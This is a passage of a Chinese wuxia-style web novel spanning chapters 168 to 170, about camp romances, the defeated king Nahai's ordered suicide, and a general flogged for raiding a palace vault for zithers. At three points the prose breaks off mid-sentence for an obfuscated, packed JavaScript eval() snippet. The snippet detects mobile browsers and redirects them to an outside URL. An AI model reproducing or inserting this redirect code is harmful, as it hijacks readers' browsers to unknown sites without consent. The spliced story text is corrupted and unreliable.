可现在凌牧云迟迟不归,叶芷萱早已不在乎凌牧云是否建功,而只是担心他会出事。她一遍遍地对自己说:“凌牧云武艺超群,不会有事的,一定不会有事的。”可安慰自己的话也并不管用,叶芷萱寸步不移地站在营地外,眼睛远远眺望北方,等待着她想等的人。这是芷萱第一次不顾忌自尊,不在意骄傲地去等一个人,还是一个男人。 不知过了多久,叶芷萱见远处天边有队伍出现,心一下提了起来。当队伍近了些,她看到迎风的将星黄旗旁是凌牧云的身影,她这才松了口气。 凌牧云带着大队人马赶回,看见叶芷萱等在那里,他连忙跳下马跑过来,“芷萱,你是在等我吗?” 芷萱冷冷说道:“没有,你少自作多情了。帐子里太闷,我只是站在这里待一会儿。” 凌牧云心里窃喜,“你是怕我有事?担心我吗?” “你脸皮怎么变得越来越厚了?谁担心你?” 凌牧云清楚叶芷萱是男儿一般的性格,想从叶芷萱嘴里听到些温暖的话,是不太现实的。所以凌牧云也不生气,只是静静地看着叶芷萱笑。 “你傻笑什么?” “没什么。” “某人不是吹牛说可以生擒那海吗?”芷萱还是对凌牧云说过的这句话耿耿于怀,不说不快。 “哦,都是自己兄弟,其实清扬得胜也是一样的。” “你出征前是这么说的吗?你说话都是不算数的吗?”说完,叶芷萱生气地快步往营地走去。 凌牧云反应过来芷萱为何生气,他不似清扬和霍玉略微木讷,他明白有的时候生气是因为在乎。牧云连忙追上去,情不自禁地拉上芷萱的手。 芷萱一甩手,“离我远点,我不喜欢跟言而无信的人说话。” 凌牧云愣在原地,“芷萱,你等等,你听我解释。”无论凌牧云怎么喊,叶芷萱都没有回头。 凌牧云没想到叶芷萱这么在乎自己能否建功,不由得对自己的食言有点愧疚,早知道是这样,他拼了命也要获得这个殊荣。 凌牧云将马拴好,从马褡子里拿出两件东西,然后朝着叶芷萱所住的蒙古包走去。 走到帐篷门口,凌牧云徘徊着,最终鼓起勇气问道:“芷萱,你出来一下。” 此时毡包里,五个女孩子,只有芷萱和映雪在。就在刚刚,芷萱气呼呼地走进来,温映雪便问道:“怎么了?谁欺负我们家的“俏儿郎”了?”因为叶芷萱从来没有女装打扮,所以温映雪常调侃她比男子还俊俏。 芷萱悻悻道:“没怎么。” “没怎么眉头皱得那么厉害?” 芷萱闷不做声。 温映雪心里已经猜出七八分,从小到大,好像能让叶芷萱真正不高兴的人就只有凌牧云一人。这个世界果然是一物降一物,凌牧云就是叶芷萱的死穴,也是她的软肋。 作为天之骄女,叶芷萱从小被父母爱着,被哥哥和弟弟宠着,她性情飞扬,无人敢惹。叶芷萱唯一迁就的人就是自己最好的朋友温映雪,两个女孩子待在一起的时候,因为温映雪更霸道任性一些,叶芷萱也便凡事都依着她。 两个女孩正这么聊着天,就听见帐外的凌牧云在叫芷萱的名字了。 温映雪努嘴道:“去吧,你讨厌的人来找你了。” “我不出去。” “你不去,那个呆子肯定不舍得走的。” “那关我什么事?” 温映雪翻了个大大的白眼,“好啦,不要耍大小姐脾气了。我陪着你去,如果凌牧云敢欺负你,我就揍他。” “那你一定狠狠地揍他!” 温映雪扑哧一笑。 叶芷萱一怔,“你笑什么?” “我笑如果我真的下手揍他,你到时候可能会心疼。” “雪儿,你不要乱说,我和他就是兄弟,是哥们。别忘了,我们十二个人结拜过,大家都是一样的。” 温映雪玩味一笑,“大家真的都一样?你对凌牧云没有一丝丝偏爱?” “你说的什么啊?你怎么帮着外人欺负我啊?” 小雪莞尔一笑,小声道:“牧云怎么能算外人呢?” “你还说?” “好好好,我不说了,我不帮着外人,我们现在出去讨回公道。”说完,温映雪拉着叶芷萱走出了帐篷。 见到凌牧云后,温映雪佯怒道:“你小子怎么欺负我姐妹了?” 凌牧云苦笑,“雪儿妹妹,你可不要只听芷萱乱说,我怎么敢欺负她呢?” “那你说说看,我妹妹为什么生气?” 温映雪说完后,叶芷萱轻轻拉了拉她的衣袖,低声道:“不要让他说了。” 温映雪轻轻拍拍芷萱的手背,接着看向凌牧云,“快说吧!如果你今天说不出来,我可不饶你。” “哦,因为我出征前对芷萱保证,说自己能擒获那海,结果我没做到。” 听罢,温映雪在心里暗笑,也便知道了芷萱为什么会不开心,原来都是因为在乎啊。温映雪偷偷瞟了芷萱一眼,见她的脸有些红润。映雪重新看向牧云,用一种责备的语气,“说到却没做到,这可不是男子汉所为。” 凌牧云接着解释道:“我是有事耽搁了,否则……” “什么事啊?”温映雪猜测叶芷萱也很想知道凌牧云遇到了什么事,于是帮着芷萱去问。 “哦,我是去给芷萱买这些。”说着凌牧云从身后拿出一个人物木雕,还有一包糖果。 温映雪先拿过木雕,仔细看着。瓦哈国没有那么重男轻女,木雕雕刻的是一个骑在马背上身穿铠甲的女孩,女孩容色绝丽,神色中透着豪情。 温映雪打趣道:“你这个木雕雕刻的女孩我怎么看着这么面熟?” 凌牧云笑道:“是吧?我也觉得有一点点像芷萱,所以才买了。” 叶芷萱听不下去了,冲着凌牧云吼了一声,“你是有多没正事?让你去打仗,你还有心情买这些?”说完,叶芷萱气得转身进了帐篷。 凌牧云若不说是因为买东西耽误了建功,芷萱还没有那么气。一听是这个原因,她的火气腾地一下就点着了,怎么都控制不住。 凌牧云尴尬地把那包糖果递给温映雪,“这个你拿给她吧!” 小雪蛾眉一挑,“这是什么啊?” “糖果。” 映 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856210|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪一愣,“芷萱她好像不喜欢吃糖果。” “这种糖果她还愿意吃,准确说是只有这种她愿意吃。” “真的?” 凌牧云点头,“真的。” “哦,我想起来了,除夕夜那天芷萱也得了一包糖果,那也是你送的吧?” “是我。” “芷萱因为你的出现连喜好都改变了,还是你厉害。”映雪接下糖果,转身要走。 凌牧云叫她道:“小雪……” 映雪回过头,凌牧支吾道:“小雪,你帮我哄哄芷萱吧,她一生气我还真是无计可施啊。” 温映雪低声说:“你笨啊,芷萱最不喜欢说话不算数的人,何况是你说的话。你以为只是随便说说而已,可她肯定是记在心里了。”小雪把声音压到最低,“你总不是个笨人,你就一点都看不出来萱萱心里有你?” “是哪一种有呢?朋友还是兄弟?” “我收回刚才的话,你还真是笨人,我说的当然是她心悦你啊,只是她当事者迷罢了。但是我偷偷告诉了你这事,你可不能出卖我啊。” 凌牧云忽地苦笑出来,“小雪,你可别逗着我玩了,她怎么可能心悦我?如果是那样的话我怎么感觉不到?” 小雪翻着白眼,“你的感觉器官失灵了,还有,你真的不是笨,是蠢。我与她从小一起长大,还能不了解她?” 见牧云还是半信半疑的,温映雪如实道:“当然了,她心悦你是一回事,愿不愿意向你敞开心扉,愿不愿意与你携手又是另一回事。你只有等她想通的那天,这一天可能就是明天,也可能是很久以后,就看你有没有耐心了。” 两人沉默片刻,牧云追问道:“那现在怎么办?”他总要把眼前的问题先解决了。 “还能怎么办?我去帮你哄呗!” “小雪,还是你最好!” 温映雪娇俏地瞪了一眼凌牧云,“行啦,你这些甜言蜜语还是留给帐篷里那位说吧!” 回到营帐里,温映雪看着在那里生闷气的芷萱,“怎么?还在生气啊?” “你说那个讨厌鬼是不是有病?去打仗还买那些破东西。我一会儿去告诉我哥,说他消极怠战,该军法处置。” 温映雪撇嘴,“你这就误会人家了,人家也是在乎你,说明你在他心里比什么打仗重要得多。” “我不用他在乎。” “我们姐妹从小一起长大,相互影响的地方很多,可现在就连嘴硬的毛病都一样了。”温映雪再次温声劝说道,“你也知道牧云那个人的,率性而为的性格。” “你不要替他说话。” “好,不说就不说,那我吃糖可以吧?”温映雪真的不客气,打开包装纸便吃了起来。 少顷,看着映雪悠哉地吃着糖,叶芷萱嗔怪道:“唉,你别吃了嘛!人家在生气,你还吃得下去?” “我劝你了,你不听,我有什么办法?” 两姐妹都沉默下来,映雪趁芷萱不注意往她嘴里塞了一粒糖果。 芷萱不忍心吐出来,“你好烦人。” 映雪玩味一笑,“牧云刚刚说你现在喜欢吃糖果我还不相信,他竟然比我了解你,怎么办?我有点嫉妒,还有点吃醋了。” 芷萱含着糖果,一丝丝甜从心底溢出。 “你从实招来,什么时候喜欢上吃糖的?小时候我喂你吃,你都会吐出来。” 芷萱眼神躲闪,“就是那次我受伤被他救了后,他给我买过一次。” “好啦,你吃了人家的糖果,就不要生人家的气了。” 叶芷萱上前把糖果袋抢了过来,“你气我,我不给你吃。” 168. 第一百六十八章 另一边,那海走进骁扬军的中军帐,见一个身穿黑色铠甲的少年坐在军帐中央的长椅上。那海并没有仔细看清叶阳晨的容貌,所以只是轻轻一瞥,就侧过头去保持自己的傲气。 叶阳晨对大帐内士兵平淡说道:“给他去除铁链,再给他拿把椅子。接下来没有什么事了,你们都出去吧,我想单独跟瓦哈王聊聊。” 众将军和士兵都出了军帐后,那海不经意间抬起头,对上了叶阳晨的眼神。那海突然一惊,眉头随之紧皱,喃喃自语道:“怎么会这么像?” 叶阳晨语气如常,“像什么?像谁?” 那海目光凛然,“叶将军,冒昧问一句,你可听说过卫忠海卫将军吗?” “当然听说过!简直如雷贯耳,他就是我们丰国的脊梁。” “你跟他眉宇间简直一模一样。” 叶阳晨毫不隐瞒,语气铿锵道:“当然像,我是他的儿子。” 话音落下,那海怔在了那里,眼眸紧紧盯着叶阳晨,好似想把他看穿看透。那海眼眸深凝良久,竟突然狂笑出声来,“难怪是少年英才,原来你是卫忠海之子,本王总算败得不冤了。” 叶阳晨语气如常,“国仇家恨,注定我们是敌非友。但你总算是个枭雄,抛去家国的敌对立场,我对你还是有几分佩服的。” 那海目光如炬,“彼此,彼此。” “知道我为什么要见见你吗?” “不是为了奚落我,展示你胜利者的姿态吗?” “你一个将死之人,在你面前有何炫耀胜利的必要。我这个人一向恩怨分明,你侵我领土,杀我国人,你我本有不共戴天之仇。但你总算厚葬了我的父亲,我也总得让你知道死在了谁的手里,这就是我今天见你的原因。” 那海连连点头,“原来如此!” 叶阳晨挑眉,“你还有什么遗言吗?” 那海感慨道:“希望下辈子我们不再做对手。” “还有呢?” “能放过我的两个儿子吗?” 叶阳晨语气如常,“可以,只是他们只能以庶民的身份活在这个世上,这也是不给他们东山再起的机会。” “那谢谢了。”那海拱拳说道。 叶阳晨拿出一把蒙古刀,递给了那海,“出了营帐后你可自尽,我也定将你厚葬。” 那海站起来,朝着帐外走去,只走了两步,便慢慢转过头,“丰国有你父亲和你,乃是天大幸事,否则丰国早已亡国数次了。天佑丰国,本王争不过天,所以死而无憾。”说完,他举步生风地走出营帐。 那海刚走出去,林慕瑶便走了进来,“阳晨,你让那海自尽是想保留他最后的体面,可这个事情如果传回北都,恐有奸佞小人在皇上面前进谗言。” 按照规矩,只有天子才能有权利赐死犯人。叶阳晨作为臣子,应该把那海押解回国,由当朝皇上项桓定夺。 叶阳晨平静解释着:“如果那海被押送回国,受辱是一定的,可能还会死无葬身之地。那海当年毕竟葬了我的父亲,我生平又不想亏欠任何人的,想来想去,就还是决定给那海留个全尸吧。” 林慕瑶当然知道自己丈夫是那样恩怨分明的人,也不好多劝,只是面露一抹忧色。 叶阳晨走到林慕瑶面前,轻轻掐了一下她的脸,“怎么?怕我有事?” 林慕瑶容色娇媚,“你这人怎么这么讨厌?知道还要问出来?” 叶阳晨将慕瑶紧紧搂在怀里,“放心,我是天上神仙下凡,不会有事的。” “胡说!世上哪有什么神仙,神仙下凡都是无稽之谈,都是骗人的。” “好,你说骗人就是骗人吧。”打败那海,叶阳晨心情着实不错,他感慨着,“临昌、北都、平朔、归化,我与那海交手了四次,这才终于解决掉丰国的第一个心头之患,一路走来真不容易啊。” 慕瑶难得俏皮一笑,“你说是不是爹爹在天上保佑你的,所以你才打赢这仗的?” 叶阳晨刮了一下慕瑶的鼻子,“夫人言之有理。” “讨厌。”慕瑶仰头,正色说道,“这回你总算对他的在天之灵有个交代了。” 叶阳晨颔首,“是啊,这也是我最高兴的原因了,我终于完成了他的遗愿。” 慕瑶喃喃说道:“希望以后每一仗都能顺利。” 叶阳晨突然说道,“对了,这次咱们打了大胜仗,晚上我们和兄弟们要好好庆祝一番。” 林慕瑶突然想起来,“哦,对了,我进来正要与你说,胡大哥还没有回营。” 叶阳晨立刻眉头紧皱,“怎么回事?”说完他立刻叫所有兄弟进大帐问话,看是否有人知道胡枫去了哪里,或是出了什么状况。胡枫这次是跟叶清扬一队,叶清扬说进城的时候胡枫是与自己一起冲进去的,后面混战中就没有注意胡哥去了哪里。 原来,骁扬军攻入那海王府的时候,胡枫无意中发现了那海的地宫。从前胡枫便听说瓦哈国的地宫里有两把古琴,他很想送把那把驰音古琴送给心上人黎燕,而另一把鸳尾古琴就送给弟妹林慕瑶。 不过地宫的入口很难找,胡枫找了许久,才在主殿的宝座那里发现了端倪。胡枫发现那海宝座台阶下的地面,与大殿处其他地面踩上去的感觉不同。胡枫掀开地衣,果然看到是地宫的入口,只是机关在哪里,找起来也颇为费神。最后,胡枫在那海宝座的下方发现了机关。 随着机关被扣动,台阶下的地面缓缓落下。胡枫顺利走入地宫,里面灯火通明,富丽堂皇,但却不见任何金银珠宝。胡枫突然明白过来,当年图罗国西日莫攻占归化城,已经将这里所有黄金白银统统运回国都科布多。想到这里,胡枫突然感到心凉,“地宫里不见古琴,难道也被西日莫抢走了?” 不过来都来了,胡枫还是想再碰碰运气,他四处敲着墙,试图发现点什么。毕竟是盗圣的弟子,他发现地宫的尽头的墙并不是实体墙。胡枫推断里面一定还有间密室,可这次他怎么都找不到打开密室门的方法。 找了多时,地宫地中央的九宫八卦图吸引了胡枫的注意。他对五行八卦不甚了解,但大抵知道如何走九宫步法。死马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881072|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当活马医,胡枫试着走了走,没想到走完9的方位,地宫尽头的门突然打开了。 胡枫刚刚高兴一笑,没想到石门打开后,并没有停住,而是继续旋转着。没等胡枫走到门前,石门已经又关上了。那是一扇旋转门,设置有机关,打开后便会一直旋转,直至门再次关上。 胡枫粗略计算了一下,走完九宫步后,他必须快跑,并利用轻功翻跳进门去,否则时间根本来不及。可如果是这种方式进密室的话,在不了解密室里面情况下冒然闯进去就会有一定危险。因为跳进去的速度太快,里面要是有暗箭机关的话,胡枫根本没有任何时间反应。何况他也不确定里面就有古琴,万一没有古琴,白白受伤就不值了。可千金难买美人一笑,想到黎燕,胡枫便觉得赴险也是值得的。 这次胡枫走完九宫图八卦图,快速跑几步,一个健步加空翻翻入门中。密室里果然有机关,他刚刚跳进去,无数的短箭便冲着他射来。好在胡枫早有预判,进门时,他的脚还没有落地,就又在空中来了一个空翻。即使这样,胡枫的脚刚落地,又有几支短箭飞过来,他躲闪不及,左臂还是中了一箭。 箭射得有些深,如果立即拔出恐血流不止,胡枫只能暂时不管它。他环顾四周,这才发现不远处的桌案上放着两把琴。 胡枫走过去,看见两把琴的颜色不同,一把黑色,一把栗色,两把琴的尾部分别用篆书写着古琴的名字:分别是鸳尾和驰音。他觉得特别有成就感,他似乎能想象黎燕看到这把琴该有多开心。 走出密室的时候,同样需要走九宫步法。正要飞身跳出去的时候,胡枫忽然发现石门上方有个架子,架子上有个黄花梨木盒子。胡枫意识到这个盒子肯定装着什么秘密,否则不会藏在这么隐蔽的位置。胡枫跳上去把盒子拿下来,打开后发现盒子里面都是一些书信,他来不及细看,便把所有的信揣进怀里。胡枫料想说不定这些信对叶阳晨有用。 胡枫也没有在地宫多作停留,抱着两把琴回了骁扬军在城外的营地。这是叶阳晨的习惯,无论打仗打到哪里,他的军队都会在城外驻营,只为了不侵扰百姓。 ****** 骁扬军出去的将士都已经归营,只有胡枫还没有回来。此时,叶阳晨心急如焚,不停地在大帐里走来走去。所有将领都在安慰叶阳晨,说胡哥肯定没事的,让他不要担心。 关心则乱,这么久了,胡枫还没有回来,叶阳晨难免胡思乱想起来。叶阳晨猜测是不是城内有那海的残部,对胡枫进行了偷袭、暗算什么的。可转念一想,这种可能性不大,胡枫号称无声雪,不仅轻功好,警觉性也是难有人与之匹敌,所以有人想偷袭胡枫并不容易。但叶阳晨还是怒声道:“派人回归化城去找胡枫,活要见人,死要见尸。” 牧云、清扬、丁鹏、霍玉、小六、雨宁同时要求去找胡枫。 叶阳晨心急如焚一挥手,“好的,咱们大家都去找。” 正在这时,士兵跑进来报告,“主帅,胡将军回来了。” 话音一落,众人心头的大石头终于落了地。 169. 第一百六十九章 叶阳晨眉头一喜,“快让他进来见我。” 胡枫左右手各抱着一把琴进了中军帐,他先是把琴放下,然后笑着拱手一笑,“兄弟,我回来晚了,勿怪!” 胡枫看见慕瑶在偷偷给自己眨眼睛,再看看将星其他人,也都在给自己拼命使眼色,他反应过来叶阳晨是生自己气了。 果然,叶阳晨冷冷地问道:“你去哪儿了?” 胡枫咧嘴一笑,“我去那海的地宫了,我听说那里有两把好琴,我就把他们拿回来了。听说慕瑶也是爱琴之人,那么一把给慕瑶,一把给我们家黎燕。” 军帐中没有外人,都是他们那12个结拜兄弟姐妹。很多人都了解胡哥潇洒不羁的性格,禁不住偷笑了起来。 叶阳晨一拍桌子,“看来你很得意嘛!” “那当然,我是手到“琴”来。哦,对了,我还在地宫里发现了很多那海的密信,我没来得急看,但藏得那么隐蔽,应该是很重要的东西。”说着,胡枫把怀里的信掏出来,上前两步放在了叶阳晨书案上。 叶阳晨暂时没有理会那些信,只是脸色又寒了几分,“你的左臂又是怎么回事?” “哦,被短箭“咬”了一口,不碍事。” 叶阳晨冷哼一声,然后怒吼道:“来人啊,胡枫无视军规,擅自行动,拖下去打三十皮鞭。” 胡枫戏谑道:“小晨,我最近没招惹你吧?你这是不是挟私报复啊?” 叶阳晨懒得跟他贫嘴,“还等什么呢?快把这个话多的人拖下去。” 听到叶帅再次发令,两名士兵终于犹豫着上前,胡枫毕竟是骁扬军顶尖的十二上将之一,把胡枫拖下去执行军法,他们两人也有点为难。 慕瑶连忙跪地求情,“阳晨,胡哥的性格你是知道的,就饶了他这次吧,他下次肯定不会这样了。” 胡枫见状笑道:“妹子,有你帮我求情,我还在乎什么三十皮鞭啊?” 见慕瑶跪下,叶阳晨心有不忍,但更为生气,“林将军,你给我起来,不准求情。怎么?胡将军说送你把琴,你就没有原则了?” 慕瑶最知道叶阳晨的脾气,生起气来,九头牛都拉不回来,也就叹气闭口不言了,但她依旧跪着不肯起来。 众人也纷纷跟着跪地求情,当初他们十二个人结拜的时候,就曾许下誓言,但求祸福与共,生死永不相负。他们不仅是兄弟,还是亲人。地下跪着的余下十个人同声说道:“我们甘愿一同受罚。” “谁也不准给他求情,胡枫自受三十皮鞭。”叶阳晨爆发雷霆之怒。 胡枫若无其事一笑,“大家都起来吧,我也不是纸糊的。不就是三十皮鞭嘛,胡哥受得住。” 叶阳晨一摆手,两个士兵拖住胡枫的胳膊,恭敬道:“胡将军,得罪了。” 胡枫也不为难士兵,阔步走出营帐。十二将星的那十个人生怕胡枫受伤,也跟着出去看了。 此时,中军帐里只剩下叶阳晨一个人,他的目光无意间停在了那海的密信上,他拆开一封封密信看了起来。 外面,胡枫被绑在木桩上,士兵将其上身衣服脱去,只露出了后背。挥鞭的士兵知道胡枫在军中的地位,也知道他和叶阳晨是结拜兄弟。但骁扬军的军规便是如此,犯错者,将军和士兵同罪,因此执刑的士兵也不会徇私。 结结实实抽了三十皮鞭后,胡枫的后背已经血肉模糊。行完刑,胡枫被霍玉背回了寝帐,其他人也跟着去了。 映雪拿来了自己的小药箱。 霍玉对温映雪说道:“还是我来给胡哥涂抹金疮药吧?” 映雪不放心道:“你们男的笨手笨脚的,还是我来吧!” 胡枫趴在床上回过头,依旧嬉皮笑脸,“有劳弟妹了!” “谁是你弟?我又是什么时候成你弟妹了?你是挨了三十鞭还没受够?你再胡说八道,我就再给你下点毒,让你一个月起不来床。”说完,温映雪上药的手突然加大了力道。 胡枫趴在床上,疼得呲牙咧嘴,“妹妹,我错了!你轻点。” 温映雪扑哧一笑,“活该,谁让你胡乱说?” 凌牧云调笑道:“我可以证明,胡哥他不是乱说。”叶芷萱微微瞪了凌牧云,她在任何时候都维护自己的姐妹。 温映雪眼神一扫凌牧云,“下次人家再让你吃瘪,我可再不帮你了。” 虽然映雪说得很隐晦,但话音一落,芷萱还是玉颊嫣红,耳根发热。 胡枫坏笑,“牧云,谁让你吃瘪了?我是错过了什么好戏吗?” “哪都有你?伤了还不老实。”温映雪边说,边用手使力一按,胡枫“诶呦”一声,“妹妹,这回是牧云说的,怎么遭殃的还是我啊?” 温映雪没有好气,“谁让你起的头?” 胡枫悻悻道:“所有的女孩中,我最怕你这个小姑奶奶。” 林诗怡俏皮地眨着眼睛,“不会吧胡哥,你不怕黎燕姐哦?” “我们家的那位可不像雪儿这么凶!” “下次疼死你,我也不管你。”温映雪涂抹完药膏后就要冲出营帐,正好撞上端着羊汤进来的雨宁大哥。 “雪儿,你怎么出去了?”雨宁大哥问道。 叶芷萱刚想追着温映雪出去,不料手却被凌牧云攥住了。 叶芷萱蛾眉敛黛,低声道:“你拦着我干什么?” 凌牧云用眼神示意芷萱看看霍玉。 果然,霍玉站起身温和道:“胡哥,这几天身上别沾水,我出去看看映雪。” 胡枫默契地眨了一下眼睛,暗示霍玉快点去追。 雨宁大哥笑着问道:“雪儿那丫头是怎么了?走出去气呼呼的。” 众人皆笑。映雪倒没有真生气,只是这样被开着玩笑,她还是有些害臊的。 江雨宁走过去,把羊汤碗递到胡枫手里,“这些天天气骤冷,你刚才又光着上身挨了鞭子,快喝了这汤,好好暖暖身子。” “宁哥,晚上我想吃汤煮馕泡羊肉。” 江雨宁扯着粗嗓子笑,“行啊,还能想吃的,就证明伤得不重。” 帐外,在旷野无边的草原上,温映雪坐在小土坡上。霍玉走过去坐在她的旁边,温柔道:“天气凉,坐一会儿就回去吧!” “不用你管!” “胡哥就是最爱开玩笑,他没有恶意的。这些女孩子中,他对你最好,你还真生他的气啊?” “谁生他的气了?只是刚才他没及时回来,我有点害怕。” “不生气就好。” 温映雪突然瞪着霍玉,“你是怎么回事?这几次兄弟们明着暗着开我们两人的玩笑,你也不反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915482|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驳,也不帮我说话?” “有什么好反驳的啊?他们开就是了。” 映雪有些烦闷,“你不解释一下,他们都误会我们的关系了。” 听温映雪那样说,霍玉眼里微微失落,沉默片刻道:“如果他们没有误会呢?如果他们说的是真的呢。” “什么叫……”侧过头的温映雪,迎上霍玉炽热的目光。 温映雪连忙打破尴尬,“花和尚,真不知你在说什么。”说完,她连忙跑开了。 面对映雪的优秀出色,霍玉是自卑的,他自认是配不上小雪的,所以那些心里话才会藏在心里那么久。今天,霍玉好不容易鼓起勇气说出来,可还是“吓”跑了人家女孩,他朝着天空,长吁一口气,此时他的心中,情绕千千结,终究意难平。 另一边,林慕瑶见胡枫这边暂时没事了,就悄悄退出帐子又去找了叶阳晨,她深信丈夫这会儿肯定已经消气些了,只是她心里仍会惦念,想去安慰叶阳晨一番。慕瑶知道叶阳晨心里也是担心胡哥的,只是越是担心,就越怕胡哥出事。 走进大帐,慕瑶见叶阳晨正坐在书案前看着自己标注过的孙子兵法,于是笑着调侃道:“这么用功啊?” “哦,得空就翻翻。” “别在这儿自己生闷气了,我知道你是怕他出事。” 叶阳晨放下书,嘴唇抖动,欲言又止,最后只是深深叹了口气。 半晌,叶阳晨才缓缓说着:“慕瑶,你知道吗?他们每一个人跟着我上战场,都相当于把命交到我的手里。而我最怕听到的就是谁出了事,谁没有回来。我们这些人,都是为了家国安宁才不得不上的战场,我多么希望有一天蒙古三雄覆灭,我们这些兄弟姐妹都能毫发无伤地回国。到时候我们十二个人就找个山清水秀的地方去隐居,对酒当歌,逍遥快活。” 林慕瑶笑着附和,“放心吧,我们都能等到凯旋的那一天,到时候我们就围着湖边盖一排房子,每家都挨着。” “所以每个人真的不能出事,我的兄弟就是我的命,我要他们每个人都好好的。他们大多数的人都叫我一声“哥”,你知道这个字有多重吗?意味着,我要对他们负责任。”说到最后,叶阳晨的声音有些哽咽了。 叶阳晨的话里带着血染的情谊,就像是穿过了岁月,依然回响不绝。 林慕瑶很心疼,走过去把叶阳晨紧紧抱在怀里,“我知道,我真的都知道,放心吧,我们12个人都会平安的,到时候我们一起凯旋而归。” 那天晚上,叶阳晨说的每句话,即使过去了很多年,林慕瑶依然都记得,那是他们共同憧憬过的美好生活,也是他们共同的心愿。 两人紧紧相拥,林慕瑶的心里装满了叶阳晨,她理解自己丈夫的豪情壮志,也清楚丈夫的软肋弱点。 在战场上,叶阳晨挥洒决胜千里的豪情,为的是保家卫国,为的是生民立命,但他也有软肋,那就是他的兄弟情、手足情。叶阳晨忠于自己的理想和信念,不负热烈的岁月,不负滚烫的时光,为了理想和信念,叶阳晨可以不顾自己的命,但是他不能用自己兄弟的血去染他的军旗。 抱了一会儿,叶阳晨突然捧起慕瑶的脸,俯下头去,他的嘴即将印上了慕瑶的双唇,正在这时,有人在帐外喊了一声:“小两口甜够了没有?我可以进来吗?” 170. 第一百七十章 话音一落,林慕瑶连忙推开叶阳晨,随即立刻整理妆容,并下意识地将头发别到耳后。 叶阳晨有种被坏了好事的败兴,他轻咳一声,“费什么话,你快进来吧。” 胡枫手里拿着两个酒葫芦,坏笑地走进了蒙古包,“弟妹,打扰你们小两口甜蜜了!别怨哥哈。” 林慕瑶娇颊匀红,语气软柔,“胡大哥,你欺负人。” “我哪敢欺负你啊?那样的话,我弟还不跟我急啊?没准我还要再挨三十皮鞭。” “不跟你说了…我还有事…我出去了。”说完,慕瑶便羞着脸急着走了出去。 见妻子出去了,叶阳晨这才没好气地说道:“你是真想再被抽三十皮鞭?你这样容易吓到我婆娘。” “你这是怎么考上状元的?还婆娘?你以为这里是土匪窝啊?连个尊称都不会叫,怎么也要叫个夫人或拙荆什么的。” “好了,你别耍贫嘴了?怎么也不好好休息?跑到我这里干什么?” 胡枫笑着摇了摇酒葫芦,“当然是想跟你喝点酒!” “你身体刚受了伤,可以喝酒吗?” 胡枫满不在乎道:“谁规定的受伤不能喝酒?而且那点小伤,相当于擦破了点皮。” “你还是注意点身体吧。”叶阳晨继续劝着。 “反正死不了就人生尽兴,人生得意须尽欢嘛。” 叶阳晨也开起玩笑,“胡哥,你一直怂恿我喝酒,不会是在酒里下了毒吧?刚才我命人打了你,你连忙过来报复我?” 胡枫咧嘴一笑,“我是下了毒,还是剧毒,毒药的名字叫‘至死尽兴’,你就说你敢不敢喝?你说不喝,我马上就走。” 叶阳晨暖笑着,“好啦,来都来了,酒葫芦拿过来吧。你还是我第一次见到你时那个样子,嘴上半点不落下风。” “每个人都要有点长处吧。”突然,“砰”的一声,酒葫芦的塞子被胡枫弹开。 胡枫和叶阳晨移步到矮桌处,席地而坐。两人坐好后,胡枫把其中一个酒葫芦递给了叶阳晨。 叶阳晨从桌子下拿出半只烤羊腿,又把匕首扔在桌子上。 “你怎么还有这个?”胡枫惊讶问道。 阳晨咧嘴一笑,“下酒无菜,不是我的风格。” “从哪儿弄的?”胡枫追问。 “当然是宁哥做的,给我拿过来的。” 胡枫开着玩笑,“宁哥到底还是最疼你,私下给你留好吃的。” 叶阳晨一本正经道:“我整日里想御敌之策,费脑子,所以宁哥给我补补。” 胡枫哼笑一声,“咱能不这么脸皮厚吗?” “好啦,来,喝一口。自从上次我中了毒后,慕瑶就总管着我喝酒,你今天拿酒来,真是深得我心啊!” 酒葫芦相碰,两人喝了起来。兄弟两人各自用匕首割下羊腿肉,豪放地拿在手里边喝边吃。 酒至兴头,胡枫笑道:“兄弟,我想跟你告假几日,我要回趟西关道。” “回去见“老婆”?” “我把琴送回去给她,那把鸳尾就送给弟妹了。” “假可以给你,但是以后不准再去做冒险的事。” 胡枫笑了,笑得开怀,“我知道,我会注意的,这次也是有特殊原因的,我从来没有送过黎燕什么特别的礼物,就特别想完成这个心愿。” 叶阳晨脸色忽然郑重了几分,“任何借口和理由我都不想听,你只要记住,任何时候保证你自己的安全就好,那是对你自己负责,也是对我们大家这些亲人负责。” “我好歹是你哥,现在又没外人,你就不能不这么霸道?就不能给我留点面子?”胡枫当然知道叶阳晨是关心自己,可在男人之间的情义里,感动的话却不好意思启口。 